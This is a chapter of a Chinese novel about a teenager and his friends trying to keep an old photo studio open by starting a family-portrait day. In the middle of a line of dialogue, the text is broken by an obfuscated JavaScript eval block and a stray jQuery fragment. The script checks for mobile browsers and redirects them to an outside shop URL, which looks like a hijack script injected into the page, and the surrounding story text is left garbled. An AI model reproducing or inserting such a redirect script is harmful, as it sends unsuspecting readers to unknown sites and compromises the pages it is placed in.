第二天清早，韩师傅拉开红叶照相馆的卷帘门，差点踩到门口的人。
梁潮生坐在台阶上，膝盖上摊着一本旧练习册，脚边放着两只空汽水瓶，头发被晨风吹得乱七八糟。
韩师傅低头看了他半天。
“你昨晚没回家？”
“回了。”
“那你一大早蹲我门口干什么？”
梁潮生把练习册举起来：“等您开门。”
“太阳打西边出来了。”韩师傅掏钥匙，“以前叫你来帮忙，三催四请都不见人。现在我要关店，你倒守上门了。”
梁潮生站起来，拍拍裤子上的灰。
“您先别急着关。”
韩师傅开锁的手停了一下。
“怎么，你给我养老？”
“也不是完全不可以。”
“滚。”
卷帘门哗啦一声升上去。
梁潮生跟着钻进店里，先开窗，又去看暗房里的药水和相纸。昨天那张梁家全家福已经干透了，被韩师傅压在玻璃板下，四个人挤在一张相纸里，谁都没坐好。
他只看了一眼，就把视线挪开。
“韩叔，这店每个月要花多少钱？”
韩师傅正在扫地，闻言抬头。
“你问这个干什么？”
“算算。”
“你会算账？”
“加减乘除还是会的。”
韩师傅瞥见他练习册上的字，差点笑出声。
纸上列着几行：
相纸，药水，电费，房钱。
下面还有一句：
韩叔喝茶的钱能不能省。
韩师傅用扫帚柄敲他脚踝。
“这项不能省。”
梁潮生往旁边一躲：“那您说个数。”
“说了你也留不起。”韩师傅低头继续扫地，“照相馆不是摆个相机就能开。房子是租的，营业要手续，相纸药水都要进货。相机坏了得修，暗房漏光得补。你现在帮人录几盘磁带、挣几张毛票，离接店远着呢。”
梁潮生不吭声。
韩师傅扫到他脚边，故意说：“让让，别妨碍我做最后几个月生意。”
梁潮生没让。
“那您为什么一定要关？”
“我儿子叫我走。”
“您不想走？”
韩师傅的扫帚停下来。
橱窗外有人骑车经过，车铃声清脆，隔着玻璃绕了一圈。
“想不想有什么用。”韩师傅说，“人老了，儿女总觉得你一个人在外头不安全。再说南边新鲜东西多，我去看看也好。”
“那店呢？”
“盘出去。没人接，就把机器卖了。”
梁潮生抬头：“机器别卖。”
韩师傅看着他。
“你说不卖就不卖？”
“给我几个月。”
“几个月干什么？”
“证明这店关了可惜。”
韩师傅笑了。
不是嘲笑，倒有些无奈。
“你拿什么证明？”
“拿钱。”
一句话说完，门口有人轻轻敲了两下玻璃。
周念安站在外面，怀里抱着蓝封皮的回声点歌本，另一只手还拿着两张写满字的纸。
她进门先看了眼梁潮生脚边的汽水瓶。
“你喝了两瓶？”
“捡的。”
“撒谎。”
“一瓶是捡的。”
韩师傅在旁边乐：“快管管他。一大早来查我的账，还想把我茶钱划掉。”
周念安把纸放到柜台上。
“茶钱不能划。”
梁潮生立刻说：“看吧，她偏心。”
“但可以单列。”周念安说，“私人开支不能算进照相馆成本。”
韩师傅一愣。
梁潮生也愣了一下，随即笑起来。
“周厂长，你早有准备？”
“昨天回去算了一遍。”
她把那两张纸铺开。
一张写着红叶照相馆现有业务：证件照、结婚照、全家福、照片翻拍。
另一张写着这几天新出现的需求：录生日祝福、小摊吆喝、上门合影、报名照加急。
韩师傅放下扫帚，走过来看。
周念安说：“点歌录音挣不了太多，主要能把人带来。照片才是照相馆的正经收入。昨天那位女工问能不能拍平时一样的全家福，说明旧巷里不只她一个人想拍。”
梁潮生接上：“很多人不是不想拍，是凑不齐时间。有人上夜班，有人不方便走，有的老人腿脚不好。”
“所以可以上门。”周念安说。
韩师傅皱眉：“相机拿出去容易磕碰。”
“提前预约，一次只跑附近。”梁潮生说，“我拎器材，您拍。远的不接，乱的地方不去，先从厂区家属院试。”
韩师傅抱着胳膊：“你们两个昨晚没睡，专门商量怎么给我加活？”
“不是加活。”梁潮生说，“是留店。”
韩师傅看了他一会儿。
“你明年不用高考？”
“我考不考，不耽误搬相机。”
周念安立刻看向他：“耽误。”
梁潮生：“……”
“白天上课，放学以后帮忙。周末可以多接一点。”她说，“不能因为想留照相馆就不念书。”
韩师傅点头：“听见没有？还是念安明白。”
梁潮生靠着柜台：“你们俩什么时候站一边了？”
周念安没理他，继续说：“先试一个月。记清楚每天来多少客人，哪些业务有人问，材料花了多少，实际剩多少。一个月以后再决定值不值得留。”
韩师傅看向账纸。
“留得下又怎么样？你们还是学生，谁来接手续？”
这回两个人都没立刻回答。
这是最实在的问题。
梁潮生修得了机器，周念安算得清账，可一家照相馆不能靠两个高中生放学后偷偷开。房租、进货、执照，都得有成年人担着。
韩师傅重新拿起扫帚。
“想法不错，先放回书包里吧。”
“我可以来。”
门口突然传来一道女声。
几个人回头。
周念秋拎着一只布包站在门外，头发烫了个时兴的弯，身上穿着自己改过腰身的衬衣。她身后还跟着周念梅，工装袖子卷到手肘，手里拿着两只刚买的烧饼。
周念安愣了：“大姐，二姐，你们怎么来了？”
周念秋扬了扬下巴：“妈说你昨晚回家以后趴桌上算到半夜，怕你又给自己找了件拯救全厂的大事，让我们来看看。”
周念梅把烧饼递给她：“先吃。”
梁潮生在旁边低声说：“你们周家传递消息的速度，比广播站快。”
周念梅看他一眼：“你有意见？”
“没有。”
周念秋进店绕了一圈，目光先落在蓝布帘，再落到橱窗里那张合影。
“照相馆要是做全家福，光会按快门不够。”她说，“衣服得顺眼，头发也要收拾。旧巷里多少人不是长得不好，是不会打扮。”
韩师傅问：“你会？”
周念秋打开布包。
里面有木梳、发卡、几条干净丝巾，还有两件样式简单却颜色鲜亮的衬衣。
“我在百货商店柜台天天给人搭衣服。”她说，“拍照前帮着理理头发、换条丝巾，总比坐那儿像开会强。”
周念梅在旁边说：“我周末休息能来维持秩序。谁插队，谁加塞，谁拍完不交钱，我管。”
梁潮生小声道：“听着更像派出所了。”
周念梅转头：“你说什么？”
“我说特别有保障。”
周念安看着两个姐姐，一时没说话。
周念梅把烧饼塞到她手里。
“别感动。妈说了，店要是真留不住就算了，不许你们往里砸家里的钱。”
周念秋也说：“我帮忙可以，长期白干不行。以后挣了钱，按次给我算。”
梁潮生笑了：“二姐很专业。”
“别乱叫。”周念秋瞥他，“先把店留住再套近乎。”
韩师傅看看这个，又看看那个，终于把扫帚靠到墙边。
“你们周家这是准备接管我的照相馆？”
“暂时没有。”周念安把烧饼放到柜台上，“先试一个月。”
梁潮生从练习册上撕下一张纸，往桌上一拍。
“那就从这周日开始。”
韩师傅：“开始什么？”
“全家福日。”
他拿起笔，刷刷写了几行：
红叶照相馆周日拍全家福。
家里人凑不齐的，可以提前约时间。
老人不方便出门的，可上门拍。
衣服不必新，人到齐就行。
写到最后一句，梁潮生停了停。
周念安看见了，没有改。
韩师傅拿过那张纸，嫌弃地看了半天。
“字太丑。”
“内容好就行。”
“挂出去丢我的脸。”
周念安接过纸，重新誊了一遍。
她的字端正清楚，最后一行特意写得稍大：
衣服不必新，人到齐就行。
周念秋看完，点头：“这个好。”
周念梅却问：“谁去通知？”
梁潮生看向窗外。
北门陶记包子摊的录音又响起来，声音隔着半条街都听得见。
几个人同时有了主意。
半个小时后，陶母站在话筒前，气势十足地录下了红叶照相馆第一段正式揽客录音。
“红叶照相馆周日拍全家福！一家老小都能拍，衣服不必新，人到齐就行！腿脚不方便的提前说，上门也能拍！”
录完，她问：“够响吗？”
梁潮生揉着耳朵：“够，锅炉房都能听见。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728735|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
陶母满意地点头。
“那我包子摊循环放。你们给我三张照片当费用。”
周念安问：“什么照片？”
“我和小满的合影。”陶母说，“她要是真去面试，我给她带一张。”
陶小满正在旁边练稿，闻言眼睛一下红了。
孟小舟抬手敲了敲桌子：“别哭。哭完声音发虚。”
陶小满赶紧吸了吸鼻子。
店里很快忙起来。
周念秋给橱窗换了摆法，把那张随意的合影挂到正中间；周念梅拿旧纸板写预约顺序；周念安负责登记姓名、人数和时间；梁潮生修好那只闲置许久的闪光灯，又给上门用的相机箱加了一条背带。
韩师傅站在柜台后，看着几个人进进出出。
“我这店什么时候多了这么多伙计？”
梁潮生蹲在地上拧螺丝，头也没抬。
“暂时不拿工资，您偷着乐吧。”
“谁说不拿？”周念秋在旁边说，“我已经记账了。”
韩师傅的脸立刻垮下来。
周日下午，全家福日开张。
第一个来的是厂里那位年轻女工。
她把父母、弟弟和奶奶全带来了。奶奶腿脚不便，坐在一把旧藤椅上，坚持要把家里的花猫抱在怀里。花猫不肯配合，拍到一半猛地窜出去，年轻女工的弟弟扑过去抓，父亲在后面骂，母亲笑得直不起腰。
韩师傅没有喊停。
咔嚓。
照片拍下来的，正是全家乱成一团的时候。
第二家是两位夜班工人，专门换班来拍。第三家只有母子两人，女人说丈夫常年在外地跑车，想先拍一张，等人回来再补。
到了傍晚，预约本已经写了两页。
钱不算很多。
可铁盒里第一次装进了一把像样的纸币和毛票，不再只有零零散散的五毛钱。
周念安坐在柜台后，一张张清点。
相纸成本、药水、陶母的合影、周念秋帮忙次数，都记得清清楚楚。
梁潮生从暗房出来，额头上沾了点药水。
“赚了多少？”
“还没算完。”
“够韩叔喝茶吗？”
“够。”
韩师傅立刻笑了。
周念安又说：“但不够关店以后买机器。”
韩师傅笑容没了。
梁潮生拉了把椅子，在她旁边坐下。
“第一天。”
“嗯。”
“慢慢来。”
周念安看向他。
他今天忙了一整天，衬衫袖口卷着，手背上有一道搬器材时蹭出的红痕。平时总像没个正形的人，这会儿看着那本账，眼神难得认真。
“你真想接这个店？”她问。
梁潮生没有立刻回答。
外面天色已经暗下来。橱窗里亮着灯，玻璃上映着旧巷来来往往的人，也映着他们两个并排坐在柜台后的影子。
“我不知道能不能接。”他说，“但我不想它说关就关。”
“为什么？”
“有些东西关了，就真没了。”
他朝暗房抬了抬下巴。
那里晾着梁家的全家福，陶小满的报名照，还有今天拍下的一家又一家。
梁潮生低头笑了一下。
“我以前觉得照相就是把人拍好看。现在发现，不全是。”
周念安问：“那是什么？”
“把人留下。”
他说得很轻。
周念安低头，在账本最后写下一行：
全家福日，第一天。
想了想，又在后面补了四个字：
可以继续。
梁潮生凑过来看。
“这算批准了？”
“试用期。”
“多久？”
“一个月。”
“一个月以后呢？”
周念安合上账本：“看表现。”
梁潮生笑了：“周厂长，我会争取转正。”
两人正说着，门口的铃铛响了。
一个穿崭新工装的年轻男人领着姑娘进来，两个人都红着脸，手里还捏着一张印着喜字的红纸。
男人问：“韩师傅，我们下个月结婚，想拍几张照片。”
韩师傅笑着迎出来：“能拍，哪天？”
姑娘却看向柜台上的录音机。
“除了照片，能不能把婚礼上的话也录下来？”
梁潮生和周念安同时抬头。
姑娘不好意思地说：“我爸不会写信。我想把他送我出门时说的话留着，以后还能听。”
照相馆里安静了一瞬。
梁潮生缓缓坐直。
周念安已经重新翻开账本，在空白页上写下：
婚礼录音。
红叶照相馆门外，暮色落进旧巷。
而这家原本准备关门的小店，第一次接到了一桩属于未来的生意。